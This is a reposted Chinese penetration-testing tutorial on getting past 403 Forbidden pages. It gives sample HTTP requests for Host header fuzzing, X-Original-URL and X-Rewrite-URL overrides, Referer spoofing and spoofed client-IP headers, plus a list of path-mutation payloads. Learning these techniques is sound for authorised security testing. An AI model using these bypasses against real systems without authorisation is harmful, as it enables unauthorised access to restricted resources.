0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

渗透测试如何利用403页面

jf_Fo0qk3ln 来源:xpshuai.cn 2023-01-05 10:11 次阅读

0x01 前言




做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到,这里做个总结!

0x02 利用姿势




1.端口利用

扫描主机端口,找其它开放web服务的端口,访问其端口,挑软柿子。

2.修改HOST

Host在请求头中的作用:在一般情况下,几个网站可能会部署在同一个服务器上,或者几个web系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

修改客户端请求头中的Host可以通过修改Host值修改为子域名或者ip来绕过来进行绕过二级域名;首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。

3.覆盖请求URL

尝试使用X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URLX-Rewrite-URL标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK

或者:

Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK


4.Referer标头绕过

尝试使用Referer标头绕过Web服务器的限制。

介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK

或者

Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer//xxx/auth/login
Response
HTTP/1.1 200 OK


5.代理IP

一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-ForX-Forwared-Host等标头绕过Web服务器的限制。

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

如:

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized

Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK


6.扩展名绕过

基于扩展名,用于绕过403受限制的目录。


	

site.com/admin => 403 site.com/admin/ => 200 site.com/admin// => 200 site.com//admin// => 200 site.com/admin/* => 200 site.com/admin/*/ => 200 site.com/admin/. => 200 site.com/admin/./ => 200 site.com/./admin/./ => 200 site.com/admin/./. => 200 site.com/admin/./. => 200 site.com/admin? => 200 site.com/admin?? => 200 site.com/admin??? => 200 site.com/admin..;/ => 200 site.com/admin/..;/ => 200 site.com/%2f/admin => 200 site.com/%2e/admin => 200 site.com/admin%20/ => 200 site.com/admin%09/ => 200 site.com/%20admin%20/ => 200


7.扫描的时候 遇到403了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    12

    文章

    8125

    浏览量

    82542
  • URL
    URL
    +关注

    关注

    0

    文章

    134

    浏览量

    14834
  • 渗透
    +关注

    关注

    0

    文章

    19

    浏览量

    6237

原文标题:渗透测试如何利用403页面

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    LABVIEW WEB发布,H5页面,可读写VI数据

    账号: a12345 密码: 12345678 普通用户 账号: b12345 密码: 12345678 只有普通用户可以登录手机页面
    发表于 02-25 00:29

    AT32F403A系列 数据手册

    电子发烧友网站提供《AT32F403A系列 数据手册.pdf》资料免费下载
    发表于 01-22 10:06 1次下载

    介绍一款基于java的渗透测试神器-CobaltStrike

    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。
    的头像 发表于 01-16 09:16 285次阅读
    介绍一款基于java的<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>神器-CobaltStrike

    鸿蒙原生应用开发-关于页面接口router返回问题与解决思路

    一、模块导入 import router from \'@ohos.router\' 提供通过不同的url访问不同的页面,包括跳转到应用内的指定页面、用应用内的某个页面替换当前页面、返
    发表于 11-15 10:11

    AT32F403/F403A/F407/F413 RTC日历的使用

    AT32F403/F403A/F407/F413 RTC 日历的使用演示AT32F403/F403A/F407/F413 RTC日历的使用。
    发表于 10-26 07:32

    dg403平方米d ADI

    电子发烧友网为你提供ADI(ADI)dg403平方米d相关产品参数、数据手册,更有dg403平方米d的引脚图、接线图、封装手册、中文资料、英文资料,dg403平方米d真值表,dg403
    发表于 10-11 19:16
    dg<b class='flag-5'>403</b>平方米d ADI

    科技云报道:一文搞懂企业渗透测试

    如何正确认知渗透测试
    的头像 发表于 08-24 16:02 196次阅读

    5V19EE403 数据表

    5V19EE403 数据表
    发表于 07-14 18:52 0次下载
    5V19EE<b class='flag-5'>403</b> 数据表

    9DB403D 数据表

    9DB403D 数据表
    发表于 07-14 11:49 0次下载
    9DB<b class='flag-5'>403</b>D 数据表

    用于渗透测试中对40x页面进行bypass测试的扫描工具

    工具介绍 f403是一款用于渗透测试中对40x页面进行bypass测试的扫描工具,通过多种方式尝试绕过状态码为40x的
    的头像 发表于 07-07 10:45 331次阅读
    用于<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>中对40x<b class='flag-5'>页面</b>进行bypass<b class='flag-5'>测试</b>的扫描工具

    网络安全渗透测试的7种主要类型

    渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,包括了对系统各类弱点、技术缺陷或漏洞的主动分析。由于渗透测试需要通过模拟黑客攻击来评估目标系统的安全性和漏
    的头像 发表于 07-04 10:01 860次阅读

    如何使用DudeSuite进行渗透测试工作

    Dude Suite 是一款集成化的Web渗透测试工具集,包含了Web渗透测试活动中使用频率非常高的功能,可以帮助我们高效地完成对Web应用程序的
    的头像 发表于 06-13 09:04 1046次阅读
    如何使用DudeSuite进行<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>工作

    基于安卓的渗透测试工具集

    介绍 H4渗透盒子是由@H4CKBU7EER开发,基于安卓的渗透测试工具集!使网安爱好者在手机上不必使用拗口的英文软件和看群蚁白字的手机终端的便携工具。 调用工具 在V1版本中,没有在软件里集成工具
    的头像 发表于 06-02 15:33 820次阅读
    基于安卓的<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>工具集

    一款扩展性高的渗透测试框架渗透测试框架

    MYExploit 简介 一款扩展性高的渗透测试框架渗透测试框架(完善中) 只支持部分EXP 利用 使用声明 本工具仅用于安全
    的头像 发表于 05-30 09:06 371次阅读
    一款扩展性高的<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>框架<b class='flag-5'>渗透</b><b class='flag-5'>测试</b>框架

    PCF8582C-2T/03页面写入问题求解

    在 PCF8582C-2T/03 数据表的“页面写入”部分,它说“[i]收到每个数据字节后,字地址的三个低位在[i]内部递增。地址的高五位保持不变。 [i]我审查了我们机器中使用的现有软件代码
    发表于 05-17 07:55